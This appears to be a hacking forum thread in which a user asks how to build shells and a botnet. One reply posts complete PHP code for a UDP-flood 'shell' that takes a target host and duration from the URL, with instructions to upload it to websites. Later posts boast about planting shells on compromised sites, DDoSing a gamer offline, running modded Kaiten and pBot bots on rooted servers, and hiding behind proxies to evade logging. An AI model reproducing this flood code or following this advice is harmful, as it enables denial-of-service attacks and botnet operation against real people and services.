[ancientgreek]

How can somebody create his own shells to host them on his server?
Moreover, how can somebody create his own botnet with his own bots?
Thanks

[Osuka]

why not just download a php shell
already made and edit your name in it?

Edit: here is one i found you can use,
just change it to your name and "save as Shell.php"

Code

?>
<html>
<body>
<center>
<font color="#FF0000">
<pre>
"Your Name Here"
</pre>
<STYLE>
input{
background-color: #FF0000; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FF0000; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<?php
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0; $exec_time = $_GET['time']; $max_time = time()+$exec_time; $host = $_GET['host'];
    for($i=0;$i<65000;$i++) $out .= 'X';
    while(time() < $max_time){
  $packets++;
  $rand = rand(1,65000);
  $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  if($fp){
    fwrite($fp, $out);
    fclose($fp);
  }
    }
echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*69)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time*107, 2) . " packets per second \n";    
}else{
echo '<br><b>UDP Flood</b><br>
  <form action=? method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host value=><br>
  Length (seconds): <br><input type=text name=time><br><br>
  <input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>

[.CyberPunk.]

search and read... What you are asking, is all over this forum... did you even read anything here?

PS: Shells and Shell Booters, are NOT a botnet!

You want a good shell? Read this thread: https://hackforums.net/showthread.php?tid=2453332

Download it, and put it on some websites. It hits great.

/spoonfeeding

[Napalm of Dildonia]

search and read... What you are asking, is all over this forum... did you even read anything here?

PS: Shells and Shell Booters, are NOT a botnet!

You want a good shell? Read this thread: https://hackforums.net/showthread.php?tid=2453332

Download it, and put it on some websites. It hits great.

/spoonfeeding

I hate shell booters as much as you, but the thing is, technically they can be considered a botnet, albeit crude. So the linux machine is running a script, and a crude form of network is established via the "Booter." I just want to know why shit's been downgraded from the script connecting out to a C&C to needing to be maintained/tracked heavily in order to continue operation.

[.CyberPunk.]

Technically, they can be considered a botnet. Socially, they are not. Meaning, hackers and those who run/use real botnets and have a higher knowledge of hacking/botnetting(is that a word? lol),don't consider it a real botnet and laugh at skids with their 1337 shells.

I have about 100 personal shells. About 30 of them, I personally placed my shell on the site, the remainder of the list is from public sources. My personal ones, I have 6 dedicated servers, about 10-15 vps' and the rest are on shared hosting. The public ones, are ones I have found that actually hit hard. I tossed out all the shitty, slow hitting, weak shells.

So my shell booter, made up of 100 shells, hits harder than most people's botnets and "putty's" (damnit they are perl ddos scripts not putty booters!).

On XBL we found a kid on a campus connection. My friend hit him with 4, 1 and 2GB "putty's" and just lagged the crap out of him. I hit him with my booter & 100 shells. Took him offline for about 2-3 minutes. So my shell booter isn't no joke..

[Napalm of Dildonia]

Technically, they can be considered a botnet. Socially, they are not. Meaning, hackers and those who run/use real botnets and have a higher knowledge of hacking/botnetting(is that a word? lol),don't consider it a real botnet and laugh at skids with their 1337 shells.

I have about 100 personal shells. About 30 of them, I personally placed my shell on the site, the remainder of the list is from public sources. My personal ones, I have 6 dedicated servers, about 10-15 vps' and the rest are on shared hosting. The public ones, are ones I have found that actually hit hard. I tossed out all the shitty, slow hitting, weak shells.

So my shell booter, made up of 100 shells, hits harder than most people's botnets and "putty's" (damnit they are perl ddos scripts not putty booters!).

On XBL we found a kid on a campus connection. My friend hit him with 4, 1 and 2GB "putty's" and just lagged the crap out of him. I hit him with my booter & 100 shells. Took him offline for about 2-3 minutes. So my shell booter isn't no joke..

>isn't no joke
Nice joke.

See, this isn't too different from a couple years ago when kids were screaming about "Unix" bots. Same thing, different command structure and setup. I remember using an RFI scanner in 2009 to use to gain pBots. pBot is a basic PHP script, like most of the shells still used. Even then, there are plenty of bots available written in other languages. When using a central C&C in instances like this can be beneficial if you aren't retarded and are gaining illegitimate access to servers. For example, these "Shell booters" half the time are just a script on a webhost, or are retardedly simple using a win32 program to send a POST to a PHP shell hosted on several servers. In instances with the win32 program, your own IP address is used to send the packet, which, generally, is logged. A pissed off admin could easily go and report all heckers using the shell to the authorities, or come up with something clever. Using a C&C is as simple as finding out which offending bot is the pissed off admin's, doing whatever you wish, and migrating the rest to a new C&C. Honestly, half the kids on HF aren't exploiting anything, they're just getting mommy's credit card and buying as many cheap hosts as they can and using those. That is just garbage.

[.CyberPunk.]

I wrote my own software for my shells. I have them all in a text file, and load it up into my program. Enter IP, port, time, and how many threads to use, timeout... So it's a multithreaded shell booter. And it uses a proxy, which I setup from one of my rooted servers, so it is always on and fast. So even though I am using my shell booter, (which I coded myself), my ip isn't logged.

As for the Unix bots, I modded Kaiten. I changed some things, added features, removed some, added port to the unknown flooder, fixed the enable/disable so the bots would actually lockdown when i wasn't around. I have it on a handful of servers I have rooted. I also have a couple different scanners sitting in a channel. Just trying out different ones, their features, to find the one i like the best. And about 60 pBot's in another channel.

Shell's aren't the only thing I have ;)

---

PS: we just straight up hijacked this dudes thread. Oh well, he couldn't even run my php shell I shared. He tried to open it, and said it's broke. Dude, it's php. Upload it to a website! lmao.